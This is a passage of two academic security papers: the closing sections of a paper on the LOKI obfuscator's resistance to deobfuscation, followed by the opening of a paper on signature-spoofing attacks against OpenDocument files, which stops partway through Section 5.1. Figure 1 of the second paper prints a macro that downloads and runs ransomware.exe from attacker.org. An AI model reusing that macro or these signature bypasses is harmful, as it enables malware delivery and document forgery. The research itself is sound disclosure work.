Experiment 11, we conclude that our superoperators produce
core semantics of sufficient depth to impede program synthe-
sis.
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Experiment 13: Superoperators on Binary Level. To eval-
uate the impact of program synthesis, we assume a dynamic
attacker has extracted a handler’s core semantics (for LOKI:
associated with a known value of k). They then use SYNTIA—
configured as in Experiment 12—to learn an expression hav-
ing the same input-output behavior. We create 400 obfuscated
binaries (without MBAs, with superoperators) for each bench-
marking target (cf. Section 6.1), randomly pick 10,000 core
semantics and measure SYNTIA’s success rate.

Overall, using SYNTIA as a stage 2 plugin on top of LOKI-
ATTACK, we managed to synthesize 1,888 (~19%) of LOKI’s
expressions and 6,779 (~68%) of TIGRESS’ expressions. On
average, it took 157s to synthesize an expression for LOKI
and 144s for TIGRESS. The results show that—while both
designs employ superoperators—it is crucial how these super-
operators are crafted. As outlined in Section 2.1, TIGRESS
usually includes independent core semantics, allowing the
attacker to split the superoperators into multiple smaller syn-
thesis tasks, each of low semantic complexity. On the other
hand, LOKI’s design ensures that its superoperators cannot
be split into smaller tasks but have high semantic depths. In
summary, LOKI is the first obfuscation design showing suffi-
cient protection against program synthesis, an attack vector all
state-of-the-art obfuscators fail to account for. Given LOKI’s
synergy effects and high resilience against syntactic simplifi-
cation approaches, semantic deobfuscation techniques remain
an attacker’s last resort. However, even when using program
synthesis, arguably the strongest semantic attack, an attacker
can only recover less than a fifth of LOKI’s core semantics.

7 Discussion
Overhead. Table 2 indicates that the overhead of code obfus-
cation is generally excessive. However, this cost is accepted
in practice because only small, critical parts of the whole pro-
gram need to be protected (e. g., proprietary algorithms, API
accesses, or licensing-related code). As a result, the overhead
has to be seen in relation to the whole program. As our case
study shows for LIBDVDCSS, using obfuscation only for crit-

ical, well-chosen code parts has no negative impact on the
usability of the respective program (here VLC).

MBA Database. Assuming an attacker intends to symboli-
cally simplify MBAs, they may benefit from using a lookup
table mapping complex MBAs to simpler expressions. This
approach is effective for state-of-the-art obfuscators such as
TIGRESS that only use a limited number of hardcoded rewrit-
ing rules (cf. Experiment 9). LOKI, in contrast, is the first ob-
fuscator that employs a generic approach to synthesize highly
diverse MBAs, resulting in a large number of MBAs (stored in
a database for performance reasons). Users of LOKI can keep
their MBA database (including the synthesis limit up to which
MBAs were synthesized) private. In fact, users could choose
arbitrary lower and upper limits as well as completely differ-
ent grammars to create an MBA database. Without knowing
the parameters, a re-creation of the database is not feasible.
That said, even in cases where an attacker is in possession
of the MBA database, there is no straightforward process to
reverse the recursively generated expression (cf. Section 4.4).

Attacker Model. Our evaluation assumes a strong attacker
model with significant domain knowledge and access to all
kinds of static and dynamic analyses. In practice, an attacker
is often weaker. Especially without prior knowledge about
the given obfuscation techniques, the usage of additional tech-
niques (e. g., VM bytecode blinding [7] or range dividers [1])
and other countermeasures (e. g., self-modifying code [50] or
anti-debugging techniques [33]) complicates analysis.

Human Attacker. Ultimately, code obfuscation schemes
are usually broken by human analysts [58]. This is partly
because humans excel at recognizing patterns and adapt to
the given obfuscation [23]. Collberg et al. [19] define potency
to denote how confusing an obfuscation is for a human ana-
lyst. Due to the difficulty of measuring a human’s capability
with regard to deobfuscation, we restrict our evaluation to
automated attacks. We argue that without automated tech-
niques, analysis becomes subjectively harder. Nevertheless,
we believe that pattern matching might be the most potent
attack on our approach. While we use a fixed structure, we
argue that our MBAs remove identifiable patterns. Still, we
are not aware of an adequate way of measuring this. How-
ever, even if we assume that a human attacker breaks one
obfuscated instance, other instances remain hard. This is as
our design samples from large search spaces for its critical
components, providing significant diversity for MBAs and
superoperators. In summary, we expect LOKI to perform rea-
sonably well against human attackers even if this cannot be
easily quantified.

8 Related Work
Over the years, a large number of obfuscation techniques were
proposed [1, 8, 19, 31, 35, 40, 50, 53, 54, 56, 74, 77, 87]. Many
of these techniques are orthogonal to our work and focus on
one specific transformation. For an overview over the field
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of obfuscation, we refer the interested reader to the overview
by Banescu and Pretschner [3]. In the following, we discuss
techniques closest to our work.

MBA. Zhou et al. introduced the concept of Mixed
Boolean-Arithmetic (MBA) to hide constants and calculations
within complex expressions. While conceptually simple, this
approach proved effective against many analysis techniques,
such as symbolic execution. As a consequence, a number
of approaches towards deobfuscating MBAs were proposed,
including pattern matching (SSPAM [30]), symbolic simplifi-
cation using a Boolean expression solver (ARYBO [36]), pro-
gram synthesis (SYNTIA [7], XYNTIA [51], QSYNTH [25]),
machine learning (NEUREDUCE [32]), and algebraic sim-
plification (MBA-BLAST [48]). While those techniques are
effective against common MBAs, LOKI’s generic approach
to synthesize diverse MBAs produces expressions resilient
against such attacks (cf. Section 6).

VM Obfuscation. Our prototype implementation LOKI
uses a VM-based architecture to showcase our techniques.
However, we make no attempt at obfuscating the VM structure
itself, which we consider orthogonal to our work. Examples
for such work include virtual code folding, where the map-
ping between opcodes and individual handlers is obfuscated
to impede static analyses [14, 46, 67, 81]. While they use dy-
namic keys to determine the next handler, we use keys within
our handlers to select a specific core semantics. With regard
to deobfuscation, approaches such as VMHUNT [79], VMAT-
TACK [41], and others [42, 64] may succeed in reconstructing
LOKI’s VM structure (similar to LOKIATTACK). However,
they cannot recover individual handler semantics, since they
rely on techniques such as symbolic execution and backward
slicing, for which LOKI is resilient against by design.

Thwarting Symbolic Execution. With regard to thwarting
symbolic execution-based deobfuscation approaches, early
work by Sharif et al. [65] already proposed key-based encod-
ings to make path exploration infeasible. Later approaches
extend on this work by introducing multi-level opaque pred-
icates (so-called range dividers) [1] or artificial loops [54].
LOKI extends these ideas: it does not only make path explo-
ration infeasible, but also prevents symbolic simplification
attacks due to its MBAs.

Thwarting Program Synthesis. Program synthesis is
one of the most powerful attack vectors [7, 51]. Concurrent
work [51] proposes a search-based program synthesis ap-
proach outperforming SYNTIA. However, the authors note
that merging handlers and increasing a handler’s semantic
complexity proved effective in thwarting such attacks. This is
in line with our evaluation.

9 Conclusion
In this paper, we present and extensively evaluate a set of
novel and generic obfuscation techniques that, in combination,
succeed to thwart automated deobfuscation attacks.
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Abstract
OpenDocument is one of the major standards for inter-
operable office documents. Supported by office suites like
Apache OpenOffice, LibreOffice, and Microsoft Office, the
OpenDocument Format (ODF) is available for text process-
ing, spreadsheets, and presentations on all major desktop and
mobile operating systems.

When it comes to governmental and business use cases,
OpenDocument signatures can protect the integrity of a doc-
ument’s content, for example, for contracts, amendments, or
bills. Moreover OpenDocument signatures also protect docu-
ment’s macros. Since the risks of using macros in documents
is well-known, modern office applications only enable their
execution if a trusted entity signs the macro code. Thus, the
security of ODF documents often depends on the correct
signature verification.

In this paper, we conduct the first comprehensive analy-
sis of OpenDocument signatures and reveal numerous severe
threats. We identified five new attacks and evaluated them
against 16 office applications on Windows, macOS, Linux,
iOS, Android, and two online services. Our investigation re-
vealed 12 out of 18 applications to be vulnerable for macro
code execution, although the application only executes macros
signed by trusted entities. For 17 of 18 applications, we could
spoof the content in a signed ODF document while keeping
the signature valid and trusted. Finally, we showed that at-
tackers possessing a signed ODF could alter and forge the
signature creation time in 16 of 18 applications.

Our research was acknowledged by Microsoft, Apache
OpenOffice, and LibreOffice during the coordinated disclo-
sure.

1 Introduction

Usage of the OpenDocument Format (ODF). Major of-
fice applications, such as Apache OpenOffice, LibreOffice,
and Microsoft Office, support ODF as one of the leading file
formats. Apart from the undocumented private sector, organi-

Sub evilMacro
DownloadFile(

"https://attacker.org/ransomware.exe", 
"C:\Users\Victim\ransomware.exe"

)

Shell("C:\Users\Victim\ransomware.exe")
End Sub

AO OfficeApache
OpenOffice

LibreOffice

Microsoft
Office

NeoOffice

Figure 1: If an ODF document’s macro has a trusted signa-
ture, its code is automatically executed once the document
is opened. We show how an attacker can execute malicious
macros and manipulate the entire content by spoofing the
digital signature in ODF documents.

zations and governments world-wide rely on ODF documents.
NATO, with its 30 member countries, uses ODF as one of
its mandatory standards [26, 65]. The UK government chose
ODF as the standard file format for documents in all govern-
ment departments [38] and the UK Central Digital & Data
Office recommends, among other methods, the use of ODF
document signatures for document security [19]. The French
government recommends ODF as a standard for exchang-
ing documents between administrations and citizens [23, 34].
The Russian government allows citizens to use ODF docu-
ments when communicating with government agencies [58].
France’s Inter-ministry Mutualisation for an Open Produc-
tivity Suite [25], Italy’s Ministry of Defence [24], Taiwan’s
Ministry of Finance [27], the administration of the Spanish
autonomous region of Valencia [28], among many others [84],
also use ODF office applications.

Office Macros. In advanced use cases, such as complex calcu-
lations or automation processes, ODF documents can embed
macros – a piece of program code embedded into the docu-
ment. Typically, macros perform automated changes on the
document’s content. However, macros are not limited to the
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respective document and can also access the file system, start
other programs, or download and execute software. Attackers
can use these possibilities to load malicious code, such as ran-
somware, on a victim’s system and execute it [15, 30, 35, 52].

ODF Digital Signatures. ODF documents can be protected
with digital signatures [68, Part 2], following the XML sig-
nature standard [40]. There are two types of signatures: doc-
ument and macro signatures. Document signatures ensure
the document’s integrity, authentication, and non-repudiation.
They rely on X.509 certificates and PKIs. If a signed docu-
ment was modified or signed with untrusted keys, the modifi-
cation triggers a warning that the office application displays
to the user. In addition, ODF can use the XML Advanced
Electronic Signatures (XAdES) extension to match the Euro-
pean Telecommunications Standards Institute (ETSI) TS 101
903 V1.4.1 specification [29] [68, Part 2]. Macro signatures
protect the integrity and authenticity of the macro code be-
cause macros are generally known to be dangerous. In their
default configuration, most office applications execute macros
only if a trusted entity signs them. In contrast to the document
signature, macro signatures only protect the code itself. The
document’s content remains editable without invalidating the
macro signature.

Security Risks through Office Macros. With the help of
office macros, attackers can execute malicious code indepen-
dently of the underlying hardware/OS. Office macros are
thus typically used to start a malware attack by loading ad-
ditional malware modules adapted to the OS in use. In [57],
Microsoft researchers report that 98% of all office target-
ing attacks were based on macro code. Many of the recent
ransomware campaigns were based on macros in office docu-
ments [15, 30, 35, 52].

From Signature Forgery to Code Execution. ODF macros
offer the same attack potential as Microsoft Office macros:
code exection. The default protection against macro-based at-
tacks is to allow the execution if a trusted entity digitally signs
the macro. Otherwise, the application blocks the macro’s exe-
cution. In this paper, we show how to circumvent this protec-
tion by exploiting vulnerabilities in the signature verification
and executing malicious macros without any restrictions (cf.
Section 5.1). To the best of our knowledge, we are the first re-
porting attacks on ODF macro signatures in its current version
1.3.

From Signature Forgery to Content Spoofing. Previous
work on PDF highlighted the significance of a document’s
signature validation Mainka et al. [51], Mladenov et al. [59],
Rohlmann et al. [74]. They introduced different techniques
to spoof the content presented in a PDF while keeping its
digital signature valid. However, a comprehensive evaluation
of digital signatures in ODF documents is still missing. In
this paper, we present three novel signature forgery attacks
that can be used to spoof the content of a signed ODF (cf.
Section 5.2):

(1) The Content Manipulation with Certificate Doubling
attack relies on a untrusted certificate used to sign an arbi-
trary ODF. The attacker adds a second, trusted certificate
to the ODF. When the application processes the document,
it uses both certificates for different purposes: one for the
cryptographic signature verification and the other as the trust
anchor.

(2) The Content Manipulation with Certificate Validation
Bypass attack relies on a untrusted certificate used to sign
an arbitrary ODF. The attacker then manipulates the certifi-
cate’s internal structure stored in the ODF and disables the
verification of the certificate chain. Once the ODF applica-
tion processes that certificate, the manipulation results in the
certificate being trusted.

(3) During the Content Manipulation with Signature Up-
grade, the attacker forces a macro signature to be treated as
a document signature. The attacker can forge arbitrary con-
tent since the macro signature cryptographically protects the
macro code only.
While the general idea for (1) resembles attacks on other
file formats [64], the attack (2) and (3) introduce novel tech-
niques.

Complexity of ODF Signature Analysis. The complexity of
the ODF signature analysis lies in the combination of several
standards used in ODF:
 ODF Standards: The ODF (zip-)file consists of a collec-

tion of files. Each of the two optional signature files in
this collection (document and macro signature) covers
different subsets of this collection. The Content Manip-
ulation with Signature Upgrade attack (Section 5.2.3)
illustrates the potential pitfalls of this construction. Ad-
ditionally, the signature files are partially signed, and
contain meta information such as X.509 certificates. The
standard does not cover the treatment of this meta infor-
mation which leads to the successful certificate doubling
attacks (Section 5.1, Section 5.2.1).

 ASN.1 Standard: The validation of X.509 certificates
uses a Abstract Syntax Notation (ASN.1)-based data
format, and is completely independent from the other
validation steps. Thus, any error in the certificate verifi-
cation leads to successful attacks, see Section 5.2.2.

 XML Standards: ODF rely on the XML signature stan-
dard [40] which is complex and builds on various other
XML standards. This inclusion resulted in a large vari-
ety of attacks, ranging from XML Signature Wrapping
(XSW) [54, 76] to XXE [61, 77] attacks (Section 5.3).

In this paper, we fill this gap by providing a systematic
analysis of the ODF standard [68] and revealing several de-
sign issues. We show four attacks allowing an attacker to
arbitrarily spoof document’s content without invalidating the
digital signature and one attack resulting in arbitrary code
execution (ACE).

Fully Automated Evaluation. The evaluation of all attack
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vectors was conducted automatically using two different ap-
proaches. For content spoofing attacks, the tool Document
Signature Validator (DocSV) was used to compare signature
validation related strings in the process memory. In all suc-
cessful cases, the strings stored in memory were identical to
those stored after the validation of the un-manipulated origi-
nal signature, whereas the validation of self-signed (untrusted)
documents produced different strings. For macro signatures,
we verified if the macro was executed after its manipulation.

Contributions. The contributions of this paper can be sum-
marized as follows:
 We present the first comprehensive security analysis of

digital signatures in ODF, both for document and macro
signatures, in its current version 1.3 (Section 4).

 We describe five novel attacks against ODF signatures
(Section 5). In a comprehensive evaluation, we show that
17 out of 18 analyzed ODF applications are vulnerable
(Section 7).

 We present DocSV, a novel open-source tool to measure
the success of signature spoofing attacks in UI applica-
tions (Section 6). DocSV can be applied to other research
areas beyond ODF, for example, to Portable Document
Format (PDF).

All proof of concept (PoC) files for the presented at-
tacks and the source code of DocSV are released at https:
//github.com/RUB-NDS/DocumentSignatureValidator.

Coordinated Vulnerability Disclosure. We initiated a coor-
dinated disclosure process to inform the affected vendors. Ta-
ble 1 lists the Common Vulnerabilities and Exposures (CVE)
numbers published by vendors and the associated applications
that have been fixed. Microsoft Office has confirmed the vul-
nerability and announced a patch. We have not received any
feedback from AO Office. IBM Lotus Symphony is already
outside the product lifecycle.

CVE Attack Severity Application Fixed Version

2021-25633 5.1, 5.2.1 7.5 (High) Collabora
LibreOffice

6.2-33, 6.4.14
7.0.2, 7.1.22021-25634 5.3 7.5 (High)

2021-25635 5.2.2 7.5 (High)

2021-41830 5.1, 5.2.1 7.5 (High) OpenOffice
NeoOffice

4.1.11
2017.312021-41831 5.3 5.3 (Med.)

2021-41832 5.2.2 7.5 (High)

Table 1: CVEs published by the vendors. The severity score
corresponds to the Common Vulnerability Scoring System
(CVSS) 3.1 published within NIST’s National Vulnerability
Database (NVD) [66].

2 The OpenDocument Standard

The following section describes the foundations of the ODF
document structure, macros, and digital signatures. The basis

for this is the ODF standard published by OASIS in the current
version 1.3 [68].

META-INF (Directory of manifest.xml)

Basic/Scripts (Macro directory)

ODF file

manifest.xml (List of all files in the package)

Standard (Macro library)

Module1.xml (Macro lib. element (code))

script-lb.xml (References to lib. element)
script-lc.xml (References to library)

content.xml (Document content)

styles.xml (Document formatting)

documentsignatures.xml (Digital signature over all files)

macrosignatures.xml (Digital signature over macros)
Signatures

Macros

Figure 2: A simplified packaged file structure of an ODF doc-
ument. Besides mandatory files containing the document’s
content, this ODF contains files which provide integrity pro-
tection (signatures) and macros.

ODF Structure. The ODF standard defines various types of
office documents. It can be used for texts, presentations/slides,
spreadsheets, graphics, and charts. The prevalent method to
build the document is to combine multiple files into a single
zip archive. Alternatively, the document can be saved as a sin-
gle Extensible Markup Language (XML) file which, however,
cannot be digitally signed. In Figure 2, we depicted the typical
ODF document structure. The document’s starting point is the
META-INF/manifest.xml file. It lists all files that are contained
in the package. The most relevant ones are content.xml and
styles.xml. They define the actual content to be presented
when the document is opened. Additional information regard-
ing the document creation and several pre-configured viewer
preferences are defined in other files which are irrelevant from
a security perspective. Thereby, we will not further consider
them.

2.1 Macros

Macros are pieces of program code attached to a document.
They are mainly used for advanced application cases, such as
automatic content processing. The ODF standard is flexible
in which programming language can be used. Thus, various
office applications have developed their own macro function-
alities [4, 20, 71, 80]. For most applications, the programming
language is a StarBasic dialect [9, 85]. Nevertheless, macros
can also be written in Python, JavaScript, or BeanShell [49,
pp. 412-418] [8]. In contrast to its open-source competitors,
Microsoft Office solely relies on Visual Basic for Applica-
tions (VBA) in macros [56]. Although VBA and the other
Basic dialects have the same syntax, they differ in object
models, and terminology [42, p. iii] [11]. Thus, VBA macros
can have compatibility issues if executed in non Microsoft
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applications [12, 86]. Also, it is not possible to save macros
in ODF documents by using Microsoft Office since a file for-
mat based on Office Open XML (OOXML) is required. For
this reason, only the macro implementations that can be used
within ODF documents are considered further.
Basic Macros Structure. Macros in ODF documents are
organized in libraries within a Basic or Scripts directory as
depicted in Figure 2. If Basic macros are used, the library
is located in a sub-directory of the Basic directory. The file
script-lb.xml references all macro modules, whereby each
modules is a separate XML file containing the source code.
Users can start individual macros manually via the user in-
terface of the application or trigger-based by using events
such as load, mouseup, and keydown. Such events are stored in
content.xml in the <script:event-listener> element
[7, 83]. An example is shown in Section 12.1.
Other Macro Types. If macros are created in Python,
JavaScript, or BeanShell, the Scripts directory is used. Macro
code can also be stored on the computer’s local file system.
This enables code reusing and cross-document execution.
Macro Execution. The ODF specification does not define
any rules regarding the secure macro execution. During our
analysis, we identified four security levels regarding the macro
execution which are depicted in Table 2 and classified in two
categories – Run-by-default and Untrusted Execution. Run-by-
default means that macros are executed directly without any
consent and Untrusted Execution depicts alternative execution
methods if the macros are considered untrusted.

Sec. Level Run-by-default Untrusted Exec.
Very High Trusted location Forbidden
High (Default) Trusted location or trusted signature Forbidden
Medium Trusted location or trusted signature User consent
Low All macros are trusted No user consent

Table 2: In this paper, we concentrate on the levels running
macros by default without any user consent while relying on
digital signatures.

Trusted location is a trusted directory that is manually con-
figured in the application. Document macros stored in this
directory are executed automatically if triggered. Trusted sig-
nature is a successfully verified digital signature from a trusted
entity. In this paper, we concentrate on the signature valida-
tion for the default security level – High. The execution of
unsigned macros or macros with an invalid signature is for-
bidden.

2.2 Digital Signatures
There are two types of ODF signatures: document and macro
signatures. They are stored in the META-INF directory. As de-
picted in Figure 2, document signatures are recommended
to use the filename documentsignatures.xml. Macro signa-
tures should use the filename macrosignatures.xml. Both

files have the same internal structure. The only difference lies
in the referenced files that should be protected with the digital
signature.

document-signatures
Signature

SignedInfo
SignatureMethod → RSA-SHA512
Reference → content.xml

DigestMethod → SHA512
DigestValue → SHA512(content.xml)

Reference → (all other files)

SignatureValue → sig(SignedInfo)

KeyInfo

SignatureProperties
Object

Reference → (XAdES-related content)

Hashes of all files 
in the package and 
additional content

Digital signature 
over SignedInfo
Used key to sign 
the document 
(not signed)

XAdES-related 
content

Algorithm to sign 
the document

Protected by the signature

Protected by the 
signature

Figure 3: An abstract overview of the structure of the XML
file for digital signatures. SignedInfo and the XAdES-related
content are protected by the signature – SignatureValue. The
KeyInfo-element is not signed and is, thus, modifiable.

Document Signatures. A document signature should pro-
tect all packaged files. Thereby, all files in the ODF package
should be used as an input to compute the signature. These
files are referenced within the documentsignatures.xml

file and stored with their hash value. However, some
files are excluded from the computation, such as the
documentsignatures.xml file itself and files located in the
optional external-data directory. Three different signature
states can be distinguished, which are shown in Figure 4 using
LibreOffice as an example.

The signature computation follows the XML signature stan-
dard [40], and we depict the resulting XML in Figure 3. First,
a hash value is computed over each referenced file. Then, the
value is stored in the DigestValue. There may be an optional
Object element, for example, to match the ETSI requirements
for qualified XAdES signatures [68, Part 2, pp. 26-27]. In
this case, the XAdES-related content is also referenced in
SignedInfo. Finally, the signature value is computed over the
SignedInfo element and stored in SignatureValue. The only
unprotected elements are KeyInfo, which holds the certifi-
cate information necessary to validate the signature, and the
XAdES-related element xd:UnsignedProperties.

Macro Signatures. While document signatures protect the
whole ODF document, macro signatures protect only the
macro code, excluding the document content. In this case,
the actual document content remains modifiable, while the
user can verify the origin and thus the trustworthiness of the
macros. The macro signatures within ODF documents follow
the same structure as the document signatures. However, only
the files represented in the Basic or Scripts folder are used
for signature calculation.
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1.
2.
3.
Figure 4: Different document signature states: (1) signature
is valid and the signer is trusted, (2) signature is valid but the
signer is not trusted (e.g. self-signed certificate), (3) signature
is invalid.

3 Attacker Model

In this section, we describe the existing entities, the attacker’s
capabilities, and the winning conditions for the attacks.
Victim. The victim is a human who opens the ODF document
sent by the attacker. The victim does not ignore any warnings
and verifies the validation result of the digital signature.
Trusted Entity on Victim’s Machine. The victim’s machine
maintains a list with trusted certificates and public keys. This
list is automatically used by the office application. The victim
does not change any setting regarding this list and does not
accept untrusted key material.
Attacker Capabilities. The attacker can create and manipu-
late ODF documents arbitrarily. This manipulation includes,
but is not limited to, adding/removing files to the ODF pack-
age (cf. Figure 2) and manipulating the content of each file
in the package (e.g., the XML structure). The attacker does
not possess any certificate/private key pair that belongs to a
trusted entity installed on the victim’s machine. Anyhow, the
attacker can create a certificate/private key pair and use his
own office applications to sign arbitrary ODF documents. The
victim’s office application treats documents signed with these
keys as invalid, since they are untrusted. Due to the nature of
public key cryptography, we assume that the attacker knows
the trusted X.509 certificates (public key, �) on victim’s ma-
chine. An attacker can obtain the certificate from a signed
ODF, OOXML, or PDF document.
For two of five attacks, there is an additional requirement:
(1) The Content Manipulation with Signature Upgrade at-

tack (Section 5.2.3) requires an ODF document with a
valid and trusted macro signature .

(2) The Timestamp Manipulation with Signature Wrapping
attack (Section 5.3) requires an ODF document with a
valid and trusted document signature .

For all other attacks, the attacker does not require any signed
ODF document. Finally, the attacker sends the manipulated
ODF document to the victim who opens it.
Winning Conditions. The success criteria depend on the
conducted attack. We distilled the following three winning
conditions.

(1) / Macro Execution: An attack targeting the macro
execution is successful if the attacker’s chosen macro code is

executed on the victim’s machine. Modern office applications
only trigger the execution if the ODF’s macro signature is
valid and trusted. In this paper, macro execution is the goal
of the Macro Manipulation with Certificate Doubling attack
(Section 5.1).

(2)  Content Manipulation: An attack targeting content
manipulation is successful if the attacker-chosen content is
visible in the victim’s office application while the digital
signature remains valid and trusted. In this paper, the three
attacks Content Manipulation with Certificate Doubling, Con-
tent Manipulation with Certificate Validation Bypass, and
Content Manipulation with Signature Upgrade (Section 5.2.1)
target the content manipulation goal.

(3)  Timestamp Manipulation: An attack targeting times-
tamp manipulation is successful if the victim’s ODF applica-
tion displays the attacker-chosen timestamp. The timestamp
is usually not visible as part of the ODF’s document content.
Usually, it is shown in a dedicated menu or popup. The at-
tack is successful if this dedicated menu or popup shows the
attacker-chosen timestamp and the victim’s ODF application
displays a valid and trusted ODF document signature. In this
paper, the XSW attack targets the timestamp manipulation
(Section 5.3).

An overview of all attacks, their goals, and the attacker’s
capabilities/requirements is depicted in Table 3.

4 Systematic Security Analysis

After analyzing the structure of ODF documents [67, 68],
processing the digital signatures [29, 40, 88] based on the
relevant standard and on development toolkits [5, 6, 81, 82],
we started a systematic security analysis. We summarize the
considered attack concepts in three categories: partial signa-
tures, XML-based attacks, and signing oracle. We studied
related work (see Section 9) and extracted techniques that
we could adapt on ODF. Except for timestamp manipulation,
which is a classical XSW attack, no other attacks could be suc-
cessfully applied to ODF. Analyzing the following three files
is essential: documentsignatures.xml, macrosignatures.xml,
and manifest.xml. The first two files state that the document
has been signed and contains relevant information for the
signature validation. The manifest.xml is the first processed
file after opening a document and it is used to find all other
files.

4.1 Analysis Phases

Phase 1: How are ODF signatures implemented? In the
first step, we analyzed the specification with regard to digital
signatures. The ODF versions 1.2 and 1.3 do not differ sig-
nificantly in this point. In the next step, we analyzed which
ODF package files are taken into account during the signing
process and which are protected by the signature. We repeated
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these steps for each application. The applications are compli-
ant to the specification and always include all existing files
of the ODF package as references in the signature (except for
the signature file itself). Thus, these files are included in the
cryptographic signature value.

Result: We identified that all files are considered in the
signature calculation, except the signature files. The signature
files, documentsignatures.xml and macrosignatures.xml,
can be manipulated.

Phase 2: How do the applications react to manipulations
of the signed content? Since attacks cannot modify already
signed content, we checked whether we can add additional
files for each application. The META-INF/manifest.xml con-
tains references to all files in the ODF package and its hash
value is also used in the signature calculation. All applica-
tions, except Microsoft Office, consider the ODF file corrupt
when the package contains files that are not referenced within
META-INF/manifest.xml. Only files with "signatures" in the
file name within the META-INF folder are excluded. However,
only the documentsignatures.xml and macrosignatures.xml

files are processed as signature files. If there are other files
with "signatures" in the file name that were added later and are
not referenced within the documentsignatures.xml file, the
ODF package is not considered corrupt by the applications,
but the signature is only recognized as a partial signature.
Thus, the applications interpret the signature as invalid be-
cause it was not formed over all files of the ODF package
according to the specification. The only exception was Mi-
crosoft Office, which accepted partial signatures and thus
enabled the Signature Upgrade attack (see Section 5.2.3).

Result: Injecting new files is not possible since: (1) un-
referenced files in META-INF/manifest.xml lead to a cor-
rupt document; (2) META-INF/manifest.xml is protected by
the signature and cannot be modified. The only excep-
tion are the signature files – documentsignatures.xml and
macrosignatures.xml.

Phase 3: What are the possible targets of attack? The
previous analysis allowed us to reduce the possible attack
targets to the signature files. From a security perspective,
all attacks on XML signatures are applicable. We studied
the related work and extracted the following attack classes:
Untrusted Keys [50], XML Signature Wrapping [54, 76], and
Insecure Algorithms [33, 44]. The first two attacks can be
extended to ODF documents. The remaining attack class is
not applicable, since no application supports the required
features.

Result: Attackers can manipulate the signature key material
because of the partial signature coverage. In addition, attacks
based on XSW are possible.

Phase 4: How to exploit the possible targets of attack? To
create signatures, the ODF specification refers to the W3C
recommendation for XML signatures [40]. We analyzed the
underlying XML schema and found that the <KeyInfo>

element is not signed. Also, the <Object> is partially
signed and allows the inclusion of unsigned child elements.
From the attacker’s perspective, these elements’ manip-
ulations are possible without invalidating the digital signature.

Manipulations in <KeyInfo>: We analyzed the <KeyInfo>
element and found that multiple <X509Data> elements
are allowed and that the ODF specification does not define
any restrictions on this either. In further analysis, we were
thus able to develop and prove the Certificate Doubling
attacks for most of the tested applications (see Section 5.1,
Section 5.2.1). In the next step, we examined how the
certificate is checked for trustworthiness. Here we checked
whether a break in the certificate chain is detected by the
application. To break the certificate chain verification, it is
sufficient to replace the included signature method without
damaging the certificate structure (see Section 5.2.2).

XML Signature Wrapping: The last possible point of
attack is the execution of an XSW attack. The idea of
XSW is to move the signed content to a place where the
application does not present it when the document is opened,
but the verification logic can find and process it. Instead, the
application presents content created by the attacker while the
signature verification remains valid.

The base of the XSW attack is the analysis of the
<Reference> elements of the <SignedInfo> element in
documentsignatures.xml. The <Reference> elements point
to the signed files within the ODF and to the timestamps de-
fined in documentsignatures.xml. Our experiments on mov-
ing the signed files failed due to a double check – the names
and hashes of all files are contained in the <Reference>
elements and the names are listed a second time in the
manifest.xml file, which is also signed. This double-check
prevents most XSW attacks, because ODF applications con-
sider a document corrupted if additional files are added which
are not listed in manifest.xml. Thus, only content that is not
listed in manifest.xml can be manipulated. In ODF docu-
ments, this content are the timestamps. We show an attack in
Section 5.3.

Result: In total, 132 ODF documents with attack vectors
were created, 61 with XAdES compatible signatures and
61 without XAdES. The documents contain different ar-
rangements of the attack vectors, five attack vectors each
for XAdES/non-XAdES were successful and are described
in detail in Section 5. We provided the attack vectors as PoC
files to the vendors and the research community.

4.2 Hidden Content and Signing Oracle

In 2021, Mainka et al. [51] presented the concept of shadow
attacks on PDFs. These attacks hide malicious content within
the PDF document before it is signed. After the signing, a
change in unsigned parts of the PDF reveals the hidden con-
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tent without invalidating the digital signature. For ODF docu-
ment signatures, there is no unsigned content, except in the
XML signature file itself (Section 4.1). Even adding addi-
tional hidden files into the ODF package does not succeed,
because revealing them requires changes in the document’s
meta file that is protected by the digital signature. Another
approach was to add unsigned files to the ODF document
after the signing, and to try to use these files to change the
visible content. This approach was also not successful since
all ODF applications consider documents containing files not
listed in manifest.xml as corrupt. Repairing a corrupted file
results in a removal of the ODF document signature.

5 New Attacks on ODF

In the following section, we describe five novel vulnerabilities
on ODF Signatures. Each attack manipulates a signed ODF
document. A victim opening such manipulated ODF sees a
validly signed document.

Sec-
tion

Manipulation
Goal

Require-
ment

Manipulation
Technique

5.1 / Macro � Certificate Doubling
5.2.1  Content � Certificate Doubling
5.2.2  Content - Certificate Validation Bypass
5.2.3  Content � Signature Upgrade
5.3  Timestamp � XML Signature Wrapping

Table 3: We present five novel attacks on ODF signatures.
Each attack can manipulate different parts of the ODF (i.e.,
content, macro, or timestamp) with attacker-selected values.
The signature verification remains valid in all cases. All but
the Content Manipulation with Certificate Validation Bypass
attack require the attacker to possess the trusted signer’s pub-
lic certificate �. Some attacks require either an ODF with a
valid document signature  or macro signature . In total,
we used four different techniques for achieving these goals.

We categorized the attacks into three groups according to
their manipulation goal (i.e., macro, content, or timestamp) as
depicted in Table 3. In summary, one attack allows to embed
and execute the attacker’s macro code stealthily (Section 5.1)
on the victim’s machine. Three attacks forge the visible docu-
ment content and display different content than the signed one
(Section 5.2). One attack can change the XAdES timestamps
(Section 5.3).

The Certificate Validation Bypass and the Signature Up-
grade attack are novel and do not rely on any previous work.
The Certificate Doubling and XSW attacks were previously
applied on Single Sign-On protocols like SAML. We extended
these techniques on ODF documents and demonstrated their
applicability.

5.1 Macro Manipulation with Certificate Dou-
bling

In general, macros in office documents have the highest poten-
tial of damage, since a victim only needs to open the document
to execute arbitrary code on his system. To minimize the po-
tential risk, office applications can use macro policies. For
example, in Apache OpenOffice and LibreOffice, the policy
level High is set by default in the macro security settings.
This policy level allows macro execution only if the macro is
signed by a trusted source. Otherwise, macros are disabled
and not executed. Trusted sources are maintained separately
from the operating system’s certificates store and must be
approved by the user. Once the author of the signed macro is
included in this list, the macro execution is unrestricted.

/ Manipulation Goal. The Macro Manipulation with Cer-
tificate Doubling attack allows an attacker to alter an ODF’s
signed macro code without invalidating its signature. The
attacker’s goal is to create an ODF document that contains
valid signed macro code, with trusted certificate data, from a
third person or organization. The attack is based on the partial
signature protection leaving the <KeyInfo> unprotected.

Attack Requirements. For the Macro Manipulation with
Certificate Doubling attack, the attacker only requires the
public X.509 certificate of an entity trusted to execute macros
�. The attacker does not require a signed and trusted ODF
document.

Manipulation Technique. In this attack, the attacker ma-
nipulates a self-signed ODF document so that it contains
two certificates. One certificate is only used to represent the
signer’s identity (e.g., name or public key) and as such, the
